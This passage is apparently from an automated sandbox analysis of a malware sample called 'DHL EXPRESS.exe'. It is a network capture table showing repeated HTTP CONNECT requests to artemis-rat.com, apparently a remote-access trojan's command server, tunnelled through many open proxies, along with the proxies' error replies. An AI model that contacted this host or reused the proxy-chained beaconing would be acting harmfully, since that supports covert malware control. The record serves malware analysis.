(Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49813	104.17.84.150	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.679670095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:44.834619999 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49820	104.16.81.76	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.696417093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:44.850939035 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49815	143.198.226.25	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.701592922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.954880953 CET	803	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:37:02 GMT Server: Apache/2.4.57 (Ubuntu) Content-Length: 611 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 69 6e 66 6f 40 70 6f 77 61 62 69 74 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at info@powabit.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.57 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49740	43.133.136.208	8800	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.702183008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49757	208.109.14.49	22881	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.714997053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.424972057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.456252098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.565984011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.769222021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49752	8.209.255.13	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.722217083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.456238031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.678498983 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49776	20.37.207.8	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.725620985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.032655001 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49841	185.162.229.127	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.733438969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:44.888118982 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49745	116.97.240.147	4995	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.736562967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.618026018 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49774	43.155.165.196	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.736619949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49853	172.67.187.242	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.748825073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:44.903444052 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49784	42.200.196.208	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.764663935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.440603018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.409384966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.456753969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.456656933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.632162094 CET	72	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49862	104.25.135.170	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.772170067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:44.926491976 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49822	147.75.92.251	9401	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.818861961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.094948053 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49810	149.202.91.219	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.830291986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.143501997 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:44 GMT Server: Apache/2.4.58 (Debian) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.58 (Debian) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49803	193.239.56.84	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.832278013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49806	185.82.87.30	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.833554029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49858	184.170.249.65	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.836781979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	50012	43.153.52.155	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.838862896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	50013	43.153.52.155	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.840579987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49823	15.236.106.236	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.847250938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.143598080 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:44 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49852	174.64.199.82	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.849215031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49829	163.172.147.9	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
